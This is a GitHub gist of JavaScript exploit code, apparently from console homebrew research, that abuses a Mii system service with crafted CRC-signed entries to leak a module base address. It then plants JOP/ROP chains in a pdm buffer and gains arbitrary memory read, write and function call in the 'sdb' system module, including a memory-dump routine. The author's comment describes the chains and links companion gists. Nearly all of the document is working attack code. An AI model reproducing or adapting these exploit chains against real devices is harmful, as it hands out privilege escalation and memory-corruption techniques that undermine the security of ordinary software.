Skip to content

Instantly share code, notes, and snippets.

@kgsws
Last active January 22, 2020 19:41
Show Gist options
  • Save kgsws/0e74ab6885188348376f6d54da5d3441 to your computer and use it in GitHub Desktop.
Save kgsws/0e74ab6885188348376f6d54da5d3441 to your computer and use it in GitHub Desktop.
sc.killAutoHandle();
function c32to8(data)
{
var len = data.length;
var ret = new Uint8Array(len * 4);
var offs = 0;
for(i = 0; i < len; i++)
{
ret[offs++] = data[i] & 0xFF;
ret[offs++] = (data[i] >>> 8) & 0xFF;
ret[offs++] = (data[i] >>> 16) & 0xFF;
ret[offs++] = data[i] >>> 24;
}
return ret;
}
function c64to8(data)
{
var len = data.length;
var ret = new Uint8Array(len * 8);
var offs = 0;
for(i = 0; i < len; i++)
{
ret[offs++] = data[i][0] & 0xFF;
ret[offs++] = (data[i][0] >>> 8) & 0xFF;
ret[offs++] = (data[i][0] >>> 16) & 0xFF;
ret[offs++] = (data[i][0] >>> 24) & 0xFF;
ret[offs++] = data[i][1] & 0xFF;
ret[offs++] = (data[i][1] >>> 8) & 0xFF;
ret[offs++] = (data[i][1] >>> 16) & 0xFF;
ret[offs++] = (data[i][1] >>> 24) & 0xFF;
}
return ret;
}
function c8to32(data)
{
var len = data.length / 4;
var ret = new Uint32Array(len);
var offs = 0;
for(i = 0; i < len; i++)
{
ret[i] = data[offs++];
ret[i] |= data[offs++] << 8;
ret[i] |= data[offs++] << 16;
ret[i] |= data[offs++] << 24;
}
return ret;
}
function _crc(data, len)
{
var crc = 0;
for(j = 0; j < len; j++)
{
var v = 0x80;
for(i = 0; i < 8; i++)
{
var xorf = crc & 0x8000;
crc = (crc << 1) & 0xFFFF
if(data[j] & v)
crc = (crc + 1) & 0xFFFF;
if(xorf)
crc ^= 0x1021;
v >>= 1;
}
}
return crc;
}
function writePdm(payload)
{
// var data = payload.buffer;
// utils.hexdump("dat", data);
sc.ipcMsg(4).sendTo('pdm:ntfy').assertOk();
// sc.ipcMsg(5).aDescriptor(data, data.byteLength, 0).sendTo('pdm:ntfy').assertOk();
sc.ipcMsg(5).aDescriptor(payload, payload.length, 0).sendTo('pdm:ntfy').assertOk();
}
function getMiiAuthorId()
{
return c32to8(sc.ipcMsg(90).sendTo('set:sys').assertOk().data);
}
function crcMiiBuf(b, authorid)
{
var ret = new Uint8Array(b.length + 4);
ret.set(b);
var crc1 = _crc(ret, b.length + 2);
ret[b.length] = crc1 >> 8;
ret[b.length+1] = crc1 & 0xFF;
var temp = new Uint8Array(authorid.length + ret.length);
temp.set(authorid);
temp.set(ret, authorid.length);
var crc2 = _crc(temp, temp.length);
ret[b.length+2] = crc2 >> 8;
ret[b.length+3] = crc2 & 0xFF;
return ret;
}
function AddOrReplace(hnd, key, unm, authorid)
{
var crcbuf = new Uint8Array(unm.length + key.length);
crcbuf.set(unm);
crcbuf.set(key, unm.length);
crcbuf = crcMiiBuf(crcbuf, authorid);
var new_mii = new Uint8Array(crcbuf.length + 4);
new_mii.set(crcbuf);
var new_mii_as_words = c8to32(new_mii);
var ipc = sc.ipcMsg(13);
ipc.datau32.apply(ipc, new_mii_as_words);
ipc.sendTo(hnd).assertOk();
}
function Move(hnd, key, pos)
{
var data = new Uint32Array(key.length / 4 + 1);
data.set(c8to32(key));
data[data.length - 1] = pos;
var ipc = sc.ipcMsg(12);
ipc.datau32.apply(ipc, data);
ipc.sendTo(hnd).assertOk();
}
function Delete(hnd, key)
{
var data = c8to32(key);
var ipc = sc.ipcMsg(14);
ipc.datau32.apply(ipc, data);
ipc.sendTo(hnd).assertOk();
}
function GetCount(hnd)
{
ret = sc.ipcMsg(2).datau32(1).sendTo(hnd).assertOk().data[0];
// utils.log("mii count is " + ret.toString());
return ret;
}
function GetDefault(hnd, offset)
{
ret = sc.ipcMsg(7).datau32(offset).sendTo(hnd).assertOk();
return ret.data;
}
function GetLoadBase(hnd, authorid)
{
var unm = new Uint8Array([0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0x97, 0x02, 0x00, 0x00, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0x41, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]);
var key = c64to8([[0xcafe, 0], [0xcafe0080, 0]]);
AddOrReplace(hnd, key, unm, authorid);
var data = GetDefault(hnd, (0x010b4b20 + 0xC + 0x44 * (GetCount(hnd) - 1) - 0x01079438) / 4);
Delete(hnd, key);
return utils.add2([data[5], data[6]], -0x9c540);
}
function Wipe(hnd)
{
var buf = new Uint8Array(100*0x44);
var count = sc.ipcMsg(9).data(1).bDescriptor(buf, buf.length, 0).sendTo(hnd).assertOk().data[0];
if(!count)
return;
utils.log("mii count to delete " + count.toString());
var key = new Uint8Array(16);
for(mii = 0; mii < count; mii++)
{
for(j = 0; j < 16; j++)
key[j] = buf[j + 48 + mii * 0x44];
Delete(hnd, key);
}
}
function sdb_call(addr, arg0)
{
// access returned X0 and X1 at pdmBase + 0x2e8 if 32bit is not enough
// setup arguments (128 = X0; up to X8)
sdb_write8(utils.add2(sdbPluSP, 128), arg0);
// set call address
sdb_write8(utils.add2(pdmBase, 0x2a0), addr);
ipcData[5] = pdmCallE[0];
ipcData[6] = pdmCallE[1];
var ipc = sc.ipcMsg(1);
ipc.datau32.apply(ipc, ipcData);
return ipc.sendTo('pl:u').cmdId; // return only 32bit result - faster
}
function sdb_sp()
{
// there is an offset between returned value and actualy saved one
// i do not know if it is possible to get random addres that will make this fail
// if so, just use read4 on pdmBase + 0x2e0 and from result subtract 0x3A8 instead
ipcData[5] = pdmLeakE[0];
ipcData[6] = pdmLeakE[1];
var sp = [0,0]
var ipc = sc.ipcMsg(1);
ipc.datau32.apply(ipc, ipcData);
sp[0] = ipc.sendTo('pl:u').cmdId;
sp[1] = sdb_read4(utils.add2(pdmBase, 0x2e0 + 4)); // 32bit MSB
return utils.sub2(sp, 0x328);
}
function sdb_write8(addr, value)
{
ipcData[3] = addr[0];
ipcData[4] = addr[1];
ipcData[5] = pdmEntry[0];
ipcData[6] = pdmEntry[1];
ipcData[9] = value[0];
ipcData[10] = value[1];
ipcData[13] = ipcGat13w[0];
ipcData[14] = ipcGat13w[1];
var ipc = sc.ipcMsg(1);
ipc.datau32.apply(ipc, ipcData);
return ipc.sendTo('pl:u').cmdId;
}
function sdb_read4(addr)
{
ipcData[3] = pdmNext[0];
ipcData[4] = pdmNext[1];
ipcData[5] = pdmEntry[0];
ipcData[6] = pdmEntry[1];
ipcData[9] = addr[0];
ipcData[10] = addr[1];
ipcData[13] = ipcGat13r[0];
ipcData[14] = ipcGat13r[1];
var ipc = sc.ipcMsg(1);
ipc.datau32.apply(ipc, ipcData);
return ipc.sendTo('pl:u').cmdId;
}
function sdb_memdump(addr, count, name)
{
ipcData[3] = pdmNext[0];
ipcData[4] = pdmNext[1];
ipcData[5] = pdmEntry[0];
ipcData[6] = pdmEntry[1];
ipcData[13] = ipcGat13r[0];
ipcData[14] = ipcGat13r[1];
if(count & 3)
{
count &= 0xFFFFFFFC;
count += 4;
}
utils.log("reading " + count.toString() + " bytes from sdb@" + utils.paddr(addr));
count /= 4;
var buf = new Uint32Array(128);
var ii;
var idx = 0;
for(ii = 0; ii < count; ii++)
{
ipcData[9] = addr[0];
ipcData[10] = addr[1];
var ipc = sc.ipcMsg(1);
ipc.datau32.apply(ipc, ipcData);
buf[idx] = ipc.sendTo('pl:u').cmdId;
addr = utils.add2(addr, 4);
idx++;
if(idx == 128)
{
idx = 0;
sc.memdump(buf, buf.byteLength, "sdb/" + name);
utils.log("got " + (ii*4+4).toString() + " bytes");
}
}
if(idx)
sc.memdump(buf, idx*4, "sdb/" + name);
}
function add64(buf, offs, data)
{
buf[offs++] = data[0] & 0xFF;
buf[offs++] = (data[0] >>> 8) & 0xFF;
buf[offs++] = (data[0] >>> 16) & 0xFF;
buf[offs++] = (data[0] >>> 24) & 0xFF;
buf[offs++] = data[1] & 0xFF;
buf[offs++] = (data[1] >>> 8) & 0xFF;
buf[offs++] = (data[1] >>> 16) & 0xFF;
buf[offs++] = (data[1] >>> 24) & 0xFF;
}
// actual miihax
handle = sc.ipcMsg(0).data(0xA523B78F).sendTo('mii:e').assertOk().movedHandles[0];
utils.log("mii handle is 0x" + handle.toString(16));
authorid = getMiiAuthorId();
utils.log("Author ID: " + Array.apply([], authorid).join(","));
sdbBase = GetLoadBase(handle, authorid);
utils.log("sdbBase at " + utils.paddr(sdbBase));
pdmBase = utils.add2(sdbBase, 0x150ec0);
utils.log("pdmBase at " + utils.paddr(pdmBase));
returnAddr = utils.add2(sdbBase, 0x2fc58);
// rewrite pl:u cmd1
writeAddr = utils.add2(sdbBase, 0x99A98);
writeValue = utils.add2(sdbBase, 0x017d80); // gatget 0
var buf = new Uint8Array(0x700);
/// JOP chains
// notice how nicely are these values compacted
// miihax arb.write
add64(buf, 0x0000, utils.add2(pdmBase, 0x0020)); // A
add64(buf, 0x0008, writeAddr);
add64(buf, 0x0010, utils.add2(sdbBase, 0x2d170)); // *B
add64(buf, 0x0018, utils.add2(sdbBase, 0x6740));
add64(buf, 0x0020, utils.add2(pdmBase, 0x0010)); // *A; B
add64(buf, 0x0028, utils.add2(sdbBase, 0x7160)); // *D
add64(buf, 0x0030, utils.add2(sdbBase, 0x53430)); // *A + 0x10
add64(buf, 0x0038, utils.add2(pdmBase, 0x0040)); // *A + 0x18; C
add64(buf, 0x0040, utils.add2(pdmBase, 0x0028)); // *C; D
add64(buf, 0x0048, utils.add2(pdmBase, 0x0060)); // *E; F
add64(buf, 0x0050, utils.add2(sdbBase, 0x2f090)); // *D + 0x28
add64(buf, 0x0058, utils.add2(pdmBase, 0x0048)); // *C + 0x18; E
add64(buf, 0x0060, utils.add2(pdmBase, 0x0060)); // *F; G
add64(buf, 0x0068, utils.add2(sdbBase, 0x7160)); // *G + 0x08
add64(buf, 0x0070, utils.add2(sdbBase, 0x7160)); // *B + 0x60
add64(buf, 0x0078, utils.add2(pdmBase, 0x0080)); // *F + 0x18; H
add64(buf, 0x0080, utils.add2(pdmBase, 0x0098)); // *H; I
add64(buf, 0x0088, utils.add2(sdbBase, 0x2d5f8)); // *F + 0x28
add64(buf, 0x0090, utils.add2(sdbBase, 0x47cc8)); // *F + 0x30
add64(buf, 0x0098, utils.add2(sdbBase, 0x7218)); // *G + 0x38
add64(buf, 0x00a0, returnAddr); // *I + 0x08
add64(buf, 0x00a8, writeValue); // *I + 0x10
// note: b0 - b8 used
add64(buf, 0x00c0, utils.add2(sdbBase, 0x2d5f8)); // *I + 0x28
add64(buf, 0x00c8, utils.add2(sdbBase, 0x4b46c)); // *I + 0x30
// pluhax arb.read and arb.write; both share 'first stage'
add64(buf, 0x00b0, utils.add2(pdmBase, 0x0c0)); // A
add64(buf, 0x00b8, utils.add2(pdmBase, 0x0d8)); // B
// note: c0 - c8 used
add64(buf, 0x00d0, utils.add2(sdbBase, 0x0026cc)); // *A + 16; gatget 4
add64(buf, 0x00d8, utils.add2(pdmBase, 0x110)); // *B; C
add64(buf, 0x00e0, utils.add2(pdmBase, 0x148)); // *E; F
add64(buf, 0x00e8, utils.add2(pdmBase, 0x120)); // *E + 8; G
add64(buf, 0x00f0, utils.add2(sdbBase, 0x0033d0)); // *A + 48; gatget 3
add64(buf, 0x00f8, utils.add2(sdbBase, 0x01349c)); // *B + 32; gatget 10
add64(buf, 0x0100, utils.add2(pdmBase, 0x0e0)); // *D + 8; E
add64(buf, 0x0108, utils.add2(sdbBase, 0x025d08)); // *B + 48; gatget 6
add64(buf, 0x0110, utils.add2(sdbBase, 0x04de9c)); // *C; gatget 5
add64(buf, 0x0118, utils.add2(sdbBase, 0x014134)); // *C + 8; gatget 7
add64(buf, 0x0120, utils.add2(pdmBase, 0x158)); // *G; H
add64(buf, 0x0128, utils.add2(sdbBase, 0x02d6c8)); // *C + 24; gatget 8
add64(buf, 0x0130, utils.add2(pdmBase, 0x168)); // Z
add64(buf, 0x0138, utils.add2(pdmBase, 0x0f8)); // *B + 96; D
add64(buf, 0x0140, utils.add2(sdbBase, 0x00638c)); // *B + 104; gatget 11
add64(buf, 0x0148, utils.add2(sdbBase, 0x04dbf8)); // *F; gatget 12
add64(buf, 0x0150, utils.add2(sdbBase, 0x02de0c)); // *F + 8; gatget14w
add64(buf, 0x0158, utils.add2(sdbBase, 0x020C84)); // *G; returnW; *V + 40; returnR
add64(buf, 0x0160, utils.add2(sdbBase, 0x002850)); // *G + 8; gatget16w
add64(buf, 0x0168, utils.add2(pdmBase, 0x170)); // *Z; Y
add64(buf, 0x0170, utils.add2(pdmBase, 0x1a8)); // *X; W
add64(buf, 0x0178, utils.add2(pdmBase, 0x180)); // *X + 8; U
add64(buf, 0x0180, utils.add2(pdmBase, 0x1b8)); // *U; T
add64(buf, 0x0188, utils.add2(sdbBase, 0x0071e0)); // *F + 64; gatget15w
add64(buf, 0x0190, utils.add2(pdmBase, 0x130)); // *X + 32; V
add64(buf, 0x0198, utils.add2(sdbBase, 0x04dbf8)); // *Y + 40; gatget 15r
add64(buf, 0x01a0, utils.add2(sdbBase, 0x002850)); // *X + 48; gatget 16r
add64(buf, 0x01a8, utils.add2(sdbBase, 0x02dd5c)); // *W; gatget 14r
add64(buf, 0x01b0, utils.add2(pdmBase, 0x170)); // *Z + 72; X
add64(buf, 0x01b8, utils.add2(sdbBase, 0x035180)); // *T; gatget 17r
// pluhax leak SP
add64(buf, 0x01c0, utils.add2(pdmBase, 0x1c8)); // *C; D
add64(buf, 0x01c8, utils.add2(sdbBase, 0x035180)); // *D; gatget 10
add64(buf, 0x01d0, utils.add2(sdbBase, 0x002850)); // *D + 8; gatget 9
add64(buf, 0x01d8, utils.add2(sdbBase, 0x011b38)); // gatget 7
add64(buf, 0x01e0, utils.add2(pdmBase, 0x0c0)); // shared with arb.*
add64(buf, 0x01e8, utils.add2(pdmBase, 0x1f0)); // A
add64(buf, 0x01f0, utils.add2(pdmBase, 0x228)); // *A; gatget 5 ptr
add64(buf, 0x01f8, utils.add2(pdmBase, 0x1f8)); // *A + 8; B
add64(buf, 0x0200, utils.add2(pdmBase, 0x1c0)); // *B + 8; C
add64(buf, 0x0208, utils.add2(pdmBase, 0x218)); // *C + 72; E
add64(buf, 0x0210, utils.add2(pdmBase, 0x130)); // *A + 32; return ptr; shared with arb.*
add64(buf, 0x0218, utils.add2(pdmBase, 0x1d8)); // *E; gatget 7 ptr
add64(buf, 0x0220, utils.add2(sdbBase, 0x02d8d4)); // *A + 48; gatget 6
add64(buf, 0x0228, utils.add2(sdbBase, 0x04de98)); // gatget 5
// almost filled
add64(buf, 0x0290, utils.add2(sdbBase, 0x04a3a8)); // *D + 200; gatget 8
//add64(buf, 0x02e0, 0); // *C + 288; leaked SP
// pluhax arb.call
add64(buf, 0x0230, utils.add2(pdmBase, 0x0c0)); // shared with arb.*
add64(buf, 0x0238, utils.add2(pdmBase, 0x240)); // A
add64(buf, 0x0240, utils.add2(pdmBase, 0x268)); // *A; gatget 5 ptr
add64(buf, 0x0248, utils.add2(pdmBase, 0x258)); // *A + 8; B
add64(buf, 0x0250, utils.add2(pdmBase, 0x260)); // *B - 8; C
add64(buf, 0x0258, utils.add2(pdmBase, 0x260)); // pdmNext1 + 8; gatget 11 ptr ptr
add64(buf, 0x0260, utils.add2(pdmBase, 0x1b8)); // gatget 11 ptr; shared with arb.*
add64(buf, 0x0268, utils.add2(sdbBase, 0x014104)); // gatget 5
add64(buf, 0x0270, utils.add2(pdmBase, 0x130)); // pdmNext1 + 32; return ptr; shared with arb.*
add64(buf, 0x0278, utils.add2(sdbBase, 0x01349c)); // *C + 24; gatget 6
add64(buf, 0x0280, utils.add2(sdbBase, 0x02850)); // pdmNext1 + 48; gatget 10
//add64(buf, 0x02a0, utils.add2(sdbBase, 0x2fc68)); // *A + 96; callAddr
add64(buf, 0x02a8, utils.add2(sdbBase, 0x002c0)); // *A + 104; gatget 7
add64(buf, 0x02d0, utils.add2(sdbBase, 0x4de98)); // pdmNext0; gatget 9
//add64(buf, 0x02e8, 0); // storeAddr; returned X0
//add64(buf, 0x02f0, 0); // storeAddr+8; returned X1
add64(buf, 0x0300, [0x11223344, 0]); // testing value to read out
utils.log("writePdm ...");
writePdm(buf); // seems like it works reliably only once
key = c64to8([pdmBase, [0xde000080, 0]]);
var payload = new Uint8Array(48);
add64(payload, 24, sdbBase); // 32bit LSB is kinda limited, so is 32bit MSB
// payload 26 and 27 is limited to this list:
// 0,1,2,3,4,5,6,7,8,16,17,18,19,20,21,22,23,24,32,33,34,35,36,37,38,39,40,48,49,50,51,52,53,54,55,56,64,65,66,67,68,69,70,71,72,80,81,82,83,84,85,86,87,88,96,97,98,99,100,101,102,103,104,112,113,114,115,116,117,118,119,120,128,129,130,131,132,133,134,135,136
//payload[26] = 0x78;
//payload[27] = 0x40;
//payload[28] = 1; // can't be zero
AddOrReplace(handle, key, payload, authorid);
utils.log("trigger ...");
Move(handle, key, 100);
utils.log("cleanup ...");
sc.svcCloseHandle(handle);
sc.killAutoHandle();
// prepare
utils.log("entering pluhax ...");
// arb.read and arb.write
ipcGat1 = utils.add2(sdbBase, 0x00f194);
ipcGat2 = utils.add2(sdbBase, 0x03f8a8);
ipcGat9 = utils.add2(sdbBase, 0x0304c0);
ipcGat13r = utils.add2(sdbBase, 0x02d8d4);
ipcGat13w = utils.add2(sdbBase, 0x029b50);
pdmEntry = utils.add2(pdmBase, 0x00b0); // JOP chain; shared for arb.read and arb.write
pdmNext = utils.add2(pdmBase, 0x0128); // second stage JOP chain for arb.read; offset 8 (=0x130)
// sp leak
pdmLeakE = utils.add2(pdmBase, 0x1e0);
// arb.call
pdmCallE = utils.add2(pdmBase, 0x230);
// shared for all calls (or ignored in some)
ipcData = new Uint32Array(24);
ipcData[15] = ipcGat1[0];
ipcData[16] = ipcGat1[1];
ipcData[17] = ipcGat9[0];
ipcData[18] = ipcGat9[1];
ipcData[19] = ipcGat2[0];
ipcData[20] = ipcGat2[1];
// run
utils.log("trigger ..."); // return address: 0x020C84
// get SP
sdbPluSP = sdb_sp();
utils.log("pluSP at " + utils.paddr(sdbPluSP));
// arb.call - prepare stack (permanent; maybe check after some calls?)
sdb_write8(utils.add2(sdbPluSP, 200), utils.add2(pdmBase, 0x2e8)); // storeAddr (pdmNext0+24)
sdb_write8(utils.add2(sdbPluSP, 216), utils.add2(sdbBase, 0x579a8)); // ROP chain 0
sdb_write8(utils.add2(sdbPluSP, 248), utils.add2(sdbBase, 0x01d44)); // ROP chain 1
sdb_write8(utils.add2(sdbPluSP, 296), utils.add2(sdbBase, 0x4e950)); // ROP chain 2
sdb_write8(utils.add2(sdbPluSP, 488), utils.add2(sdbBase, 0x1a0b8)); // ROP chain 3
sdb_write8(utils.add2(sdbPluSP, 776), utils.add2(sdbBase, 0x3ca1c)); // gatget 8
sdb_write8(utils.add2(sdbPluSP, 456), utils.add2(pdmBase, 0x2d0)); // pdmNext0
sdb_write8(utils.add2(sdbPluSP, 760), utils.add2(pdmBase, 0x250)); // pdmNext1
// write / read test
testAddr = utils.add2(pdmBase, 0x300);
// write value
utils.log("... write");
sdb_write8(testAddr, [0x29910BAF, 0x11223344]);
// read back
utils.log("... read");
retVal = sdb_read4(testAddr);
utils.log("read value: 0x" + retVal.toString(16));
// test call
utils.log("... call");
//retVal = sdb_call(utils.add2(sdbBase, 0x02868), [0xF00D1234, 0x1122aabb]); // just RET
retVal = sdb_call(utils.add2(sdbBase, 0x2fc60), [1000000000,0]); // svcSleepThread
//retVal = sdb_call(utils.add2(sdbBase, 0x2fc68), utils.add2(pdmBase, 0x300)); // svcGetThreadPriority
utils.log("return value: 0x" + retVal.toString(16));
// this is how to access full 64bit X0
rX0 = [sdb_read4(utils.add2(pdmBase, 0x2e8)), sdb_read4(utils.add2(pdmBase, 0x2ec))];
utils.log("read X0: " + utils.paddr(rX0));
//sdb_memdump(sdbPluSP, 0x400, "stack.bin");
//sdb_memdump(pdmBase, 0x700, "pdm.bin");
//sdb_memdump(sdbBase, 0x400, "sdb.bin");
//sdb_memdump(sdbBase, 0x173000, "sdb.bin"); // dump sdb
utils.log("done");
@kgsws
Copy link
Author

kgsws commented Nov 6, 2017

These are arb. read, arb. write and arb. call JOP chains for sdb module.
Arb. read JOP chain can be used to dump sdb from memory. (uncomment that part if you wish)
Arb. call is ... self describing?
First you have to reset sdb: https://gist.github.com/kgsws/1806750e2b7dc5eb9b8170ef52d7189b#gistcomment-2249610
Note: it takes 2 seconds to dump 512 bytes, and you want to dump about 1,5MB

Arb.Read: https://gist.github.com/kgsws/4c321471ebbe747d5ce6c2f652c77294
Arb.Write: https://gist.github.com/kgsws/2f7722d7fa01e0b68f3d66d273da2872
GetStack: https://gist.github.com/kgsws/25f9b2b2b5f6ce07d681733edc21c6ef
Arb.Call: https://gist.github.com/kgsws/f135ffbfff3a7a9d55517189d31d2386

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment